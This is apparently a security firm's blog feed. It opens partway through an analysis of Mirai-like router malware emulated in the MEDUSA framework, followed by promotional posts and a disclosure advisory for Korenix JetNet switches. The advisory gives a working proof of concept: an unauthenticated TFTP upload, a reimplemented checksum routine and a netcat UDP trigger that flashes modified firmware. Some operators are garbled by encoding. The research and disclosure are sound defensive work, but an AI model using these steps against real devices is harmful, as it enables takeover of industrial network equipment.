The script iterates over all functions, checks if a syscall has been found, and if so, looks up the syscall number to rename the function accordingly. We highly recommend using the snippet editor plugin for Binary Ninja scripting to facilitate this process.

import binaryninja
def get_syscall(func):
	for inst in func.llil.instructions:
		if inst.operation == LowLevelILOperation.LLIL_SYSCALL:
			return hex(inst.get_reg_value("$v0").value)
def get_syscall_name(hex_number):
	file_path = '/path/to/mipsel_syscall'
	with open(file_path, 'r') as file:
		for line in file:
		parts = line.strip().split(';')
		if len(parts) == 2:
			name, hex_val = parts
		if hex_val == hex_number:
			return name
	return None
def main():
	num = 0
	for func in bv.functions:
		v0 = get_syscall(func)
		if v0:
			syscall = get_syscall_name(v0)
			if syscall:
				func.name = syscall
				num+=1
	print("Renamed {} functions".format(num))
main()

After execution, the script successfully renames 50 functions for us. Continuing our study, we proceed to reverse the main function at address 0x409254. Our analysis reveals that during startup, the malware deletes the executable from the filesystem and appears to access watchdog-related devices to prevent the system from rebooting. Subsequently, it binds itself to TCP port 39123, changes its process name, and forks.

The child process enters a while true loop with two separate paths (the third being an exit condition), indicating that this will be our primary communication loop.

Depending on a flag, the binary follows one of two paths. The right one appears to handle sending data to the C?C server, while the other is for receiving and processing data. In the listening state, the received buffer is passed as a parameter to the function located at 0x40061c (do_stuff_with_buf).

From the initial static analysis, we can draw several conclusions:

  • The malware is designed to be used in a botnet
  • There are no apparent signs of anti-debugging techniques
  • The malware is likely not persistent and only executes in memory.
  • For dynamic analysis, we may require an internet connection, as without it, the binary might trigger the exit condition prematurely.

Other researchers have noted that the binary attempts to terminate network monitoring applications such as tcpdump, tshark, or Wireshark. However, the sample we obtained did not appear to possess these capabilities. In fact, the execve syscall was not even detected in the binary, which could suggest that the infected machine is solely being used as a denial-of-service bot. Nevertheless, this remains speculative.

Digital Twin with MEDUSA

We utilized firmware version 1.0.5 Build 20221116 for hardware version 4.6 (available at https://static.tp-link.com/upload/firmware/2023/202306/20230601/Archer%20AX21_V4.6_221116.zip) as our base. After uploading it to MEDUSA with the default configuration, we downloaded the built image for local usage. After setting up a virtual bridge (virbr0), we initiated the emulation and were greeted with the motd banner. To assess emulation fidelity, we started the firmware without any modifications.

+------------------------------------------------+
| MEDUSA v1.3 (dynana)                           |
|                                                |
| firmware location:      /medusa/rootfs         |
| static utils:           /medusa/utils          |
|                                                |
| Start exploring your firmware by executing     |
| $ medusa                                       |
|                                                |
+------------------------------------------------+
medusa:~$ medusa start
[...]
wireless is starting...
pcnet32 0000:00:13.0 eth0: link up
saveconfig() begin
saveconfig() end
init_all_vif_name
DEVICES=
wifi_init 
config_profile_set, DfsEnable=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, IEEE80211H=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, DfsZeroWait=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, DfsDedicatedZeroWait=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
config_profile_set, DfsZeroWaitDefault=0>>/etc/wireless/RT2860AP/RT2860_5G.dat
wifi_reload
========= don't cli WIFI-led when booting or not cal
[IPTV] WAN_PHY_IF=eth1.1
[IPTV] LAN_PHY_IF=eth0.2

The resulting ps output appeared promising, and there were also some active network services, as indicated by the netstat output. However, the web server didn’t seem to be running. Consequently, we restarted the emulation and began debugging the uhttpd service.

 482 root     /usr/bin/ledctrl
 488 root     /usr/bin/ledctrl
 489 root     /usr/bin/ledctrl
 495 root     /sbin/hotplug2 --override --persistent --set-rules-file /etc/hot
 548 root     udhcpc -t1 -A3 -b -R -O search -O staticroutes -p /var/run/udhcp
 984 root     lock /var/run/dnsproxy.lock
1985 root     /usr/bin/factory_reset
2007 root     /usr/sbin/sysmond
2029 root     /usr/bin/tmpServer
2030 root     /usr/bin/tdpServer
2031 root     /usr/bin/pfclient
2038 root     /usr/bin/pfclient
2040 root     /usr/bin/pfclient
2041 root     /usr/bin/pfclient
2047 root     /usr/sbin/tsched
2049 root     /usr/bin/tdpServer
2050 root     /usr/bin/tdpServer
2082 root     /usr/bin/sync-server
2111 root     /usr/sbin/imbd
2134 root     /usr/bin/client_mgmt
2206 root     /usr/sbin/dosd
2262 root     /usr/sbin/dosd
2263 root     /usr/sbin/dosd
2432 root     tddp
2456 root     /usr/bin/cloud-brd -c /etc/cloud_config.cfg
2462 root     /usr/bin/cloud-brd -c /etc/cloud_config.cfg
2463 root     /usr/bin/cloud-brd -c /etc/cloud_config.cfg
2483 root     /usr/bin/cloud-client
2489 root     /usr/bin/cloud-https -c /etc/cloud_https.cfg
2494 root     {cloud_https_boo} /usr/bin/lua /usr/sbin/cloud_https_bootreq
2518 root     {S99detPdmaHung} /bin/sh /etc/rc.common /etc/rc.d/S99detPdmaHung
2829 root     {S99zswitch_led} /bin/sh /etc/rc.common /etc/rc.d/S99zswitch_led
2832 root     /usr/bin/switch_led
2877 root     /usr/sbin/conn-indicator
2992 root     /usr/sbin/crond -c /etc/crontabs -l 5
medusa:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 127.0.0.1:20002         0.0.0.0:*               LISTEN      
udp        0      0 0.0.0.0:34062           0.0.0.0:*                           
udp        0      0 0.0.0.0:1040            0.0.0.0:*                           
udp        0      0 0.0.0.0:20002           0.0.0.0:*                           
udp        0      0 :::1                    :::*  

To investigate why the service exits, we entered the target firmware using msh (an alias for medusa sh static) and added the line set -x to /etc/init.d/uhttpd. This allowed us to trace the code execution. Upon examining the trace output, it became evident that the service file attempted to execute the functions config_load and config_foreach.

medusa:~$ msh
target:/$ /etc/init.d/uhttpd boot
+ START=50
+ SERVICE_DAEMONIZE=1
+ SERVICE_WRITE_PID=1
+ UHTTPD_BIN=/usr/sbin/uhttpd
+ PX5G_BIN=/usr/sbin/px5g
+ OPENSSL_BIN=/usr/bin/openssl
+ ALL_COMMANDS=start stop reload restart boot shutdown enable disable enabled depends 
+ list_contains ALL_COMMANDS boot
+ local var=ALL_COMMANDS
+ local str=boot
+ local val
+ eval val=" ${ALL_COMMANDS} "
+ val= start stop reload restart boot shutdown enable disable enabled depends  
+ [  start stop reload restart !=  start stop reload restart boot shutdown enable disable enabled depends   ]
+ [ boot = reload ]
+ [ -z  ]
+ [ boot != help ]
+ which lock
+ lockfile=/var/run/uhttpd.init.lock
+ lock /var/run/uhttpd.init.lock
+ boot
+ start
+ config_load uhttpd
+ [ -n / ]
+ return 0
+ config_foreach start_instance uhttpd
+ local ___function=start_instance
+ [ 2 -ge 1 ]
+ shift
+ local ___type=uhttpd
+ [ 1 -ge 1 ]
+ shift
+ local section cfgtype
+ [ -z  ]
+ return 0
+ lock -u /var/run/uhttpd.init.lock

Upon searching for the function definitions, we discovered that config_load returns 0 if the environment variable IPKG_INSTROOT is set. However, when the function returns without executing uci_load, the variable CONFIG_SECTIONS in config_foreach remains empty and thus returns without any further execution.

#/etc/functions.sh:
config_load() {
    [ -n "$IPKG_INSTROOT" ] ?? return 0
    uci_load "$@"
}
config_foreach() {
	local ___function="$1"
	[ "$#" -ge 1 ] ?? shift
	local ___type="$1"
	[ "$#" -ge 1 ] ?? shift
	local section cfgtype
	[ -z "$CONFIG_SECTIONS" ] ?? return 0
	for section in ${CONFIG_SECTIONS}; do
		config_get cfgtype "$section" TYPE
		[ -n "$___type" -a "x$cfgtype" != "x$___type" ] ?? continue
		eval "$___function \"\$section\" \"\$@\""
	done
}
#/lib/config/uci.sh:
uci_load() {
	local PACKAGE="$1"
	local DATA
	local RET
	local VAR
	_C=0
	if [ -z "$CONFIG_APPEND" ]; then
		for VAR in $CONFIG_LIST_STATE; do
			export ${NO_EXPORT:+-n} CONFIG_${VAR}=
			export ${NO_EXPORT:+-n} CONFIG_${VAR}_LENGTH=
		done
		export ${NO_EXPORT:+-n} CONFIG_LIST_STATE=
		export ${NO_EXPORT:+-n} CONFIG_SECTIONS=
		export ${NO_EXPORT:+-n} CONFIG_NUM_SECTIONS=0
		export ${NO_EXPORT:+-n} CONFIG_SECTION=
	fi
	DATA="$(/sbin/uci ${UCI_CONFIG_DIR:+-c $UCI_CONFIG_DIR} ${LOAD_STATE:+-P /var/state} -S -n export "$PACKAGE" 2>/dev/null)"
	RET="$?"
	[ "$RET" != 0 -o -z "$DATA" ] || eval "$DATA"
	unset DATA
	${CONFIG_SECTION:+config_cb}
	return "$RET"
}

So, why is the environment variable set in the first place? It appears we stumbled upon a minor bug in the analysis engine. MEDUSA seems to identify the firmware as an OpenWrt variant, which isn’t entirely incorrect. However, as a consequence, an extra environment variable is added to /etc/profile, which isn’t necessary for this particular image.

#MEDUSA nvram simulation
export LD_PRELOAD=/medusa/extensions/nvram/libnvram.so
#MEDUSA OpenWrt INSTROOT not set
export IPKG_INSTROOT=/ 

After removing the variable, we modified the service file to launch the web server in the foreground and manually started ubusd. Subsequently, executing /etc/init.d/uhttpd boot led to a functional web server.

To verify the application’s functionality, we tested the PoC for CVE-2023-1389 as provided by Tenable (https://www.tenable.com/security/research/tra-2023-11). And indeed, the PoC resulted in the creation of a file by the root user.

target:/$ ls /tmp/
client_list.json   fstab              multi_lang         spool
cloud-brd          is_online          once_online        state
cloud.pid          is_online_v6       once_online_v6     stats
cloud_https.pid    lib                productinfo        sync-server
cloud_service.cfg  lock               resolv.conf        wportal
dropbear           log                resolv.conf.auto
dut_bootdone       luci-indexcache    run
etc                merge-conf.xml     sfe_status
target:/$ saveconfig() begin
saveconfig() end
mergeconfigbycountry() begin
mergeconfigbycountry() end
saveconfig() begin
saveconfig() end
mergeconfigbycountry() begin
mergeconfigbycountry() end
target:/$ cat /tmp/pwned 
uid=0(root) gid=0(root) groups=0(root),10

Dynamic Analysis

For dynamic analysis, we aimed to understand which files the malware accessed, alongside an strace output, to compare against our static analysis results. MEDUSA offers a fantastic utility called oprobe, which essentially traces all files and devices opened by a process across the entire system. Here’s an example of the oprobe output while running the exploit:

medusa:~$ medusa oprobe
sh-506                  0xfffffffe          "/lib/libjson.so.0"
sh-506                  0x4                 "/usr/lib/libjson.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
sh-506                  0x4                 "/lib/libc.so.0"
id-507                  0x4                 "/tmp/pwned"

For strace’ing we rely on the statically compiled utilities provided by MEDUSA. This collection of debugging binaries is invaluable in situations where the target lacks any built-in tools. You can locate these utilities within the target’s path at /medusa/utils.

target:/$ ls /medusa/utils/
bash       gdbserver  perl       strace
busybox    ncat       socat      tcpdump

Additionally, we launched a Wireshark instance on our host machine, specifically on virbr0, just in case the binary attempted to terminate network monitoring applications. Here’s how our tracers are setup within the emulation:

medusa:~$ medusa oprobe > /oprobe.log ?
[1] 558
medusa:~$ msh
target:/$ /medusa/utils/strace -s200 -o parent.log ./mpsl

After starting the malware we were a little bit surprised by the results. The oprobe output revealed some intriguing file accesses. We’re not entirely sure of their purpose, but our network capture didn’t indicate any data exfiltration. Yet, the most surprising discovery was probably the behavior of the fork logic.

mpsl-269                0xfffffffe          "/dev/watchdog"
mpsl-269                0xfffffffe          "/dev/misc/watchdog"
strace-266              0x4                 "/etc/localtime"
kvpb5gdjdvpf3tj-271     0x0                 "/tmp"
kvpb5gdjdvpf3tj-272     0x0                 "/proc/"
kvpb5gdjdvpf3tj-272     0x1                 "/tmp"
kvpb5gdjdvpf3tj-272     0xfffffffe          "/opt"
kvpb5gdjdvpf3tj-272     0xfffffffe          "/home"
kvpb5gdjdvpf3tj-272     0x2                 "/dev"
kvpb5gdjdvpf3tj-272     0x4                 "/var"
kvpb5gdjdvpf3tj-272     0x5                 "/sbin"
kvpb5gdjdvpf3tj-271     0x1                 "/tmp/etc"
kvpb5gdjdvpf3tj-271     0x2                 "/tmp/etc/config"
kvpb5gdjdvpf3tj-271     0x1                 "/tmp/multi_lang"
kvpb5gdjdvpf3tj-271     0x1                 "/tmp/stats"
kvpb5gdjdvpf3tj-271     0x0                 "/var"
kvpb5gdjdvpf3tj-271     0x1                 "/var/passwd"
kvpb5gdjdvpf3tj-271     0x1                 "/var/samba"
kvpb5gdjdvpf3tj-271     0x2                 "/var/samba/var"
kvpb5gdjdvpf3tj-271     0x4                 "/var/samba/var/locks"
kvpb5gdjdvpf3tj-271     0x2                 "/var/samba/lib"
kvpb5gdjdvpf3tj-271     0x2                 "/var/samba/private"
kvpb5gdjdvpf3tj-271     0x1                 "/var/Wireless"
kvpb5gdjdvpf3tj-271     0x2                 "/var/Wireless/RT2860AP"
kvpb5gdjdvpf3tj-271     0x1                 "/var/lock"
kvpb5gdjdvpf3tj-271     0x1                 "/var/run"
kvpb5gdjdvpf3tj-271     0x1                 "/var/tmp"
kvpb5gdjdvpf3tj-271     0x2                 "/var/tmp/pc"
kvpb5gdjdvpf3tj-271     0x2                 "/var/tmp/TZ"

While the parent process followed our expectations, the child took a different route. Instead of quietly binding and listening in the background, it behaved like a fork bomb, gobbling up system resources until the oom-killer stepped in. Initially, we wondered if the aim was to exhaust all threads, preventing management services like SSH or HTTP from restarting, thus securing the machine against other malicious actors. But upon reflection, that theory didn’t hold up. We didn’t find any process-killing logic, and other researchers hadn’t reported similar findings. Plus, why would they want to exhaust the TCP stack on the host system?

[   5061]     0  5061       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5062]     0  5062       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5063]     0  5063       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5064]     0  5064       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5065]     0  5065       77        0    12288        0             0 kvpb5gdjdvpf3tj
[   5066]     0  5066       77        0    12288        0             0 kvpb5gdjdvpf3tj
oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),task=kvpb5gdjdvpf3tj,pid=5066,uid=0
Out of memory: Killed process 5066 (kvpb5gdjdvpf3tj) total-vm:308kB, anon-rss:0kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:12kB oom_score_adj:0
target:/$ net_ratelimit: 895 callbacks suppressed
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets
TCP: too many orphaned sockets

We couldn’t quite figure out why the malware acts so differently on mipsel. For us, it seemed like someone relied a little bit too much on their cross-compilation toolchain and forgot to test it properly. In contrast, when running the armv7 sample the process tree and netstat output match what you’d expect from a MIRAI variant. 

 135 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
 166 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
 167 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
 168 root     {sikoik36psnshpl} 1vn1r611wkn1mm3il2n8d8bc
# netstat -tuln 
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 127.0.0.1:39123         0.0.0.0:*               LISTEN 

This minor oversight not only renders the device inoperable but also significantly increases network bandwidth usage. After capturing 30 seconds of network traffic using tcpdump and counting the transmitted bytes, our analysis revealed that the mipsel variant transferred 2638 times more data than its corresponding armv7 variant within that timeframe.

======================================================================
| IO Statistics (mipsel)          || IO Statistics (armv7)           |
|                                 ||                                 |
| Duration: 30.0 secs             || Duration: 28.3 secs             |
| Interval: 30.0 secs             || Interval: 28.3 secs             |
|                                 ||                                 |
| Col 1: Frames and bytes         || Col 1: Frames and bytes         |
|---------------------------------||---------------------------------|
|              |1                 ||              |1               | |
| Interval     | Frames |  Bytes  || Interval     | Frames | Bytes | |
|---------------------------------||-------------------------------| |
|  0.0 <> 30.0 |  33983 | 2459120 ||  0.0 <> 28.3 |     14 |   837 | |
======================================================================

The malware has been designed for denial of service attacks, but it essentially starts an amplification DoS attack on its own C?C server. Malware, that’s posing a risk to itself, reaches a new level of irony.

Conclusion

Our IoT malware analysis has been a great knowledge extension experience and also revealed entertaining results. We’ve shared insights into our methodology, using static analysis tools alongside our system emulation framework, MEDUSA. The development of a functional digital twin opens possibilties for future security research or the deployment of honeypot traps. And along the way, we’ve shown the critical role of integration tests (or lack thereof, for those with malicious intentions). 

This analysis was conducted by Sebastian Dietz on behalf of CyberDanube Security Research.

 

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on embedded systems,  firmware analysis with digital twins and information security risk assessment. Currently, he is working on further development of the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points. Most recently, Sebastian was involved in uncovering zero-day vulnerabilities and publishing of security advisories.

]]>
[EN] Automotive Pentesting – Security Paper https://cyberdanube.com/en/en-automotive-pentesting-security-paper/ Mon, 29 Jan 2024 10:25:11 +0000 https://cyberdanube.com/en/?p=4520

Driving the Future: CyberDanube’s Automotive Cyber Security Paper

In an era of connected automotive technology, the integration of digital innovations elevates our driving experience. However, with progress comes new challenges, especially in cybersecurity. As vehicles become more connected, the risks of cyber threats escalate. CyberDanube addresses these challenges head-on with our latest Security Paper, exploring the intricacies of safeguarding automotive systems.

Understanding Cyber Threats to Modern Vehicles

Our Security Paper delves into the evolving landscape of cyber threats targeting modern (automotive) cars. As vehicles embrace IoT and embedded connectivity, susceptibility to malicious activities by hackers increases. This blog artickle ? the security paper emphasizes the need to proactively address vulnerabilities.

Pentesting Insights: Unveiling Automotive Vulnerabilities

Highlights include insights from our penetration testing (Pentest) of automotive components, revealing common vulnerabilities and weaknesses. From insecure software configurations to potential entry points for unauthorized access, our findings shed light on crucial areas demanding attention.

The Growing Significance of Automotive Cyber Security

As we venture into a future of connected mobility, the Security Paper underscores the increasing importance of cybersecurity in modern cars. It addresses technical details of cyber attacks targeting automotive systems, emphasizing the need for robust security measures.

Download and Share: Take Action for Secure Connectivity

Explore the depths of pentesting to automotive, setting ourselves apart as one of the few in Austria to reach the lowest hardware layer. Feel free to download our paper, a valuable resource that not only outlines our approach but also provides insights into securing the heart of Industry 4.0. Let’s navigate the complexities together and contribute to a safer, more resilient industrial landscape (especially concerning IoT and embedded systems).

Ready to dive deeper into the world of automotive pentesting and cybersecurity? We invite you to take the next step in fortifying a secure automotive future.

  1. Get in Touch: Have questions or eager to discuss how our expertise can benefit your specific needs? Reach out to us! Our team is ready to engage in meaningful conversations about securing your systems.
  2. Download the Paper: Knowledge is power. Download our comprehensive paper, delving into our unique approach, common pitfalls, and the importance of securing the modern automotive domain.
  3. Share the Knowledge: Know someone who could benefit from our insights? Share the paper with your colleagues, peers, and network. Security is a collective effort, and spreading awareness is a crucial step towards a resilient digital landscape.
  4. Stay Updated: Follow us on social media (LinkedIn) for the latest updates, news, and insights into the ever-evolving world of industrial cybersecurity. Connect with us on LinkedIn to stay in the loop.

At CyberDanube, we believe in the power of collaboration and knowledge sharing. Your security is our priority, and we look forward to partnering with you in securing the future of critical infrastructure.

Get in touch or via E-Mail (office [at] cyberdanube.com), download the paper, and let’s build a safer, more resilient digital landscape together!

]]>
[EN] Multiple Vulnerabilities in Korenix JetNet Series https://cyberdanube.com/en/en-multiple-vulnerabilities-in-korenix-jetnet-series/ Tue, 09 Jan 2024 09:57:47 +0000 https://cyberdanube.com/en/?p=4505

Title: Multiple Vulnerabilities
Product: Korenix JetNet Series
Vulnerable version: See “Vulnerable versions”
Fixed version: –
CVE: CVE-2023-5376, CVE-2023-5347
Impact: High
Homepage: https://www.korenix.com/
Found: 2023-08-31


Korenix JetNet series is prone to a unauthenticated firmware upgrade, which leads to remote code execution.

Vendor description

“Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions. With decades of experiences in the industry, we have developed various product lines […]. Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners. […]”

Source: https://www.korenix.com/en/about/index.aspx?kind=3

Vulnerable versions

Tested on emulated Korenix JetNet 5310G / v2.6

All vulnerable models/versions according to vendor:
JetNet 4508 (4508i-w V1.3, 4508 V2.3, 4508-w V2.3)
JetNet 4508f, 4508if (4508if-s V1.3,4508if-m V1.3, 4508if-sw V1.3, 4508if-mw V1.3, 4508f-m V2.3, 4508f-s V2.3, 4508f-mw V2.3, 4508f-sw V2.3)
JetNet 5620G-4C V1.1
JetNet 5612GP-4F V1.2
JetNet 5612G-4F V1.2
JetNet 5728G (5728G-24P-AC-2DC-US V2.1, 5728G-24P-AC-2DC-EU V2.0)
JetNet 528Gf (6528Gf-2AC-EU V1.0, 6528Gf-2AC-US V1.0, 6528Gf-2DC24 V1.0, 6528Gf-2DC48 V1.0, 6528Gf-AC-EU V1.0, 6528Gf-AC-US V1.0)
JetNet 6628XP-4F-US V1.1
JetNet 6628X-4F-EU V1.0
JetNet 6728G (6728G-24P-AC-2DC-US V1.1, 6728G-24P-AC-2DC-EU V1.1)
JetNet 6828Gf (6828Gf-2DC48 V1.0, 6828Gf-2DC24 V1.0, 6828Gf-AC-DC24-US V1.0, 6828Gf-2AC-US V1.0, 6828Gf-AC-US V1.0, 6828Gf-2AC-AU V1.0, 6828Gf-AC-DC24-EU V1.0, 6828Gf-2AC-EU V1.0)
JetNet 6910G-M12 HVDC V1.0
JetNet 7310G-V2 2.0
JetNet 7628XP-4F-US V1.0, 7628XP-4F-US V1.1, 7628XP-4F-EU V1.0, 7628XP-4F-EU V1.1
JetNet 7628X-4F-US V1.0, 7628X-4F-EU V1.0
JetNet 7714G-M12 HVDC V1.0

Vulnerability overview

1) TFTP Without Authentication (CVE-2023-5376)
The available tftp service is accessable without user authentication. This allows the user to upload and download files to the restricted “/home” folder.

2) Unauthenticated Firmware Upgrade (CVE-2023-5347)
A critical security vulnerability has been identified that may allow an unauthenticated attacker to compromise the integrity of a device or cause a denial of service (DoS) condition. This vulnerability resides in the firmware upgrade process of the affected system.

Proof of Concept

1) TFTP Without Authentication (CVE-2023-5376)

The Linux tftp client was used to upload a firmware to the absolute path “/home/firmware.bin”:

# tftp $IP
tftp> put exploit.bin /home/firmware.bin
Sent 5520766 bytes in 5.7 seconds

2) Unauthenticated Firmware Upgrade (CVE-2023-5347)

Unauthenticated attackers can exploit this by uploading malicious firmware via TFTP and initializing the upgrade process with a crafted UDP packet on port 5010.

We came to the conclusion that the firmware image consists of multiple sections. Our interpretation of these can be seen below:

class FirmwarePart:
def init(self, name, offset, size):
self.name = name
self.offset = offset
self.size = size

firmware_parts = [
FirmwarePart(“uimage_header”, 0x0, 0x40),
FirmwarePart(“uimage_kernel”, 0x40, 0x3c54),
FirmwarePart(“gzip”, 0x3c94, 0x14a000 – 0x3c94),
FirmwarePart(“squashfs”, 0x14a000, 0x539000 – 0x14a000),
FirmwarePart(“metadata”, 0x539000, 5480448 – 0x539000),
]

The squashfs includes the rootfs. Metadata includes a 4 byte checksum which needs to be modified when repacked. During our analysis we observed that the checksum gets calculated over all sections except metadata. To test this vulnerability we reimplemented the checksum calculation at offset 0x9bdc in the binary “/bin/cmd-server2”:

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int32_t check_file(const char* arg1) {
FILE* r0 = fopen(arg1, “rb”);

if (!r0) {
return 0xffffffff;
}

int32_t filechecksum = 0;
int32_t last_data_size = 0;
int32_t file_size = 0;
uint8_t data_buf[4096];
int32_t data_len = 1;

while (data_len > 0) {
data_len = fread(data_buf, 1, sizeof(data_buf), r0);

if (data_len == 0) {
break;
}

int32_t counter = 0;
while (counter < (data_len >> 2)) {
int32_t byte_at_counter = *((int32_t*)(data_buf + (counter << 2)));
counter++;
filechecksum += byte_at_counter;
}

file_size += data_len;
last_data_size = data_len;
}

fclose(r0);

if (last_data_size < 0x400 || (last_data_size >= 0x400 ?? (file_size – 0x14a
000) > 0x5ac000)) {
return 0xffffffff;
}

data_len = 0;
while (data_len < (last_data_size >> 2)) {
int32_t r3_2 = *((int32_t*)(data_buf + (data_len << 2)));
data_len++;
filechecksum -= r3_2;
}

return filechecksum;
}

int main(int argc, char* argv[]) {
if (argc != 2) {
printf(“Usage: %s <file_path>\n”, argv[0]);
return 1;
}

int32_t result = check_file(argv[1]);
printf(“0x%x\n”, result);

return 0;
}

After modifying and repacking the squashfs, we calculated the checksum, patched the required bytes in the metadata section (offset 0x11b-0x11e) and initilized the update process.

# tftp $IP
tftp> put exploit.bin /home/firmware.bin
Sent 5520766 bytes in 5.7 seconds

# echo -e “\x00\x00\x00\x1f\x00\x00\x00\x01\x01” | nc -u $IP 5010

The output of the serial console can be observed below:

Jan 1 00:01:00 Jan 1 00:01:00 syslog: UDP cmd is received
Jan 1 00:01:00 Jan 1 00:01:00 syslog: management vlan = sw0.0
Jan 1 00:01:00 Jan 1 00:01:00 syslog: setsockopt(SO_BINDTODEVICE) No such devi
Jan 1 00:01:00 Jan 1 00:01:00 syslog: tlv_count = 0
Jan 1 00:01:00 Jan 1 00:01:00 syslog: rec_bytes = 10
Jan 1 00:01:00 Jan 1 00:01:00 syslog: command TLV_FW_UPGRADE received
check firmware…
checksum=b2256313, inFileChecksum=b2256313
Firmware upgrading, don’t turn off the switch!
Begin erasing flash:
.
Write firmware.bin (5480448 Bytes) to flash:

Write finished…
Terminating child processes…
Jan 1 00:01:01 Jan 1 00:01:01 syslog: first time create tlv_chain
Jan 1 00:01:01 syslogd exiting
Firmware upgrade success!!
waiting for reboot command …….

The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Beijer/Korenix provided a workaround to mitigate the vulnerabilities until a proper patch is available (see “Workaround” section).

Workaround

Beijer representatives provided the following workaround for mitigating the
vulnerabilities on devices of the JetNet series:

Login by terminal:

Switch# configure terminal

Switch(config)# service ipscan disable

Switch(config)# tftpd disable

Switch(config)# copy running-config startup-config

Source: https://www.beijerelectronics.com/en/support/Help___online?docId=69947

This commands should be used to deactivate the TFTP daemon on the device to
prevent unauthenticated actors from abusing the service.

Recommendation

Regardless to the current state of the vulnerability, CyberDanube recommends customers from Korenix to upgrade the firmware to the latest version available. Furthermore, a full security review by professionals is recommended.


Contact Timeline

  • 31-08-2023: Contacting Beijer Electronics Group via cs@beijerelectronics.com.
  • 31-08-2023: Receiving contact information. Send vulnerability information.
  • 26-09-2023: Asking about vulnerability status and receiving update release date.
  • 27-10-2023: Received update from contact regarding the firmware update.
  • 29-11-2023: Meeting with contact stating that it effects the whole series.
  • 31-11-2023: Meeting to discuss potential solutions.
  • 11-12-2023: Release delayed due to lack of workaround from manufacturer.
  • 21-12-2023: Manufacturer provides workaround. Release date confirmed.
  • 09-01-2024: Coordinated release of security advisory.

Author

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on embedded systems,  firmware analysis with digital twins and information security risk assessment. Currently, he is working on further development of the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points. Most recently, Sebastian was involved in uncovering zero-day vulnerabilities and publishing of security advisories.

]]>
[EN] Industrial Smart Meter Pentesting – Security Paper https://cyberdanube.com/en/en-industrial-smart-meter-pentesting/ Mon, 27 Nov 2023 16:18:23 +0000 https://cyberdanube.com/en/?p=4485

Unveiling Vulnerabilities: A Deep Dive into Pentesting Industrial Smart Meters

See our latest blog post, where we embark on a journey into the world of industrial smart meters. In an era where the backbone of critical infrastructure relies on interconnected systems, the security of hardware and software becomes paramount. Today, we delve into the realm of pentesting, specifically focusing on the challenges and nuances encountered in the examination of industrial smart meters.

Nestled in Vienna, our Hardware Lab is at the forefront of innovation, allowing us to go beyond conventional security testing. Here, we test both software and hardware components using specialized equipment housed in our office. What sets us apart is our commitment to delving deep, all the way down to the lowest hardware layer—an approach that only a select few in Austria undertake.

As pioneers in this field, we recognize the critical importance of securing industrial smart meters and their role in the broader context of critical infrastructure and Industry 4.0. Our expertise is not theoretical but a hands-on, practical application that addresses the real-world challenges of ensuring the security and resilience of interconnected systems.

In this paper, we not only share insights into our unique and thorough approach to pentesting but also shed light on common mistakes that can compromise the integrity of smart meters. Understanding these is pivotal for fortifying the digital backbone that supports our critical infrastructure.

We occasionally carry out product security tests on manufacturers from e.g Asia or USA to check for possible (politically motivated) espionage in hardware and software products. This proactive measure ensures that only trustworthy components that are as secure as possible find their way into critical infrastructures.

Explore the depths of pentesting to industrial smart meters, setting ourselves apart as one of the few in Austria to reach the lowest hardware layer. Feel free to download our paper, a valuable resource that not only outlines our approach but also provides insights into securing the heart of Industry 4.0. Let’s navigate the complexities together and contribute to a safer, more resilient industrial landscape.

Ready to dive deeper into the world of industrial smart meter pentesting and cybersecurity? We invite you to take the next step in fortifying your critical infrastructure.

  1. Get in Touch: Have questions or eager to discuss how our expertise can benefit your specific needs? Reach out to us! Our team is ready to engage in meaningful conversations about securing your industrial systems.
  2. Download the Paper: Knowledge is power. Download our comprehensive paper, delving into our unique approach, common pitfalls, and the importance of securing industrial smart meters. Arm yourself with insights that matter.
  3. Share the Knowledge: Know someone who could benefit from our insights? Share the paper with your colleagues, peers, and network. Security is a collective effort, and spreading awareness is a crucial step towards a resilient digital landscape.
  4. Stay Updated: Follow us on social media (LinkedIn) for the latest updates, news, and insights into the ever-evolving world of industrial cybersecurity. Connect with us on LinkedIn to stay in the loop.

At CyberDanube, we believe in the power of collaboration and knowledge sharing. Your security is our priority, and we look forward to partnering with you in securing the future of critical infrastructure.

Get in touch or via E-Mail (office [at] cyberdanube.com), download the paper, and let’s build a safer, more resilient digital landscape together!

]]>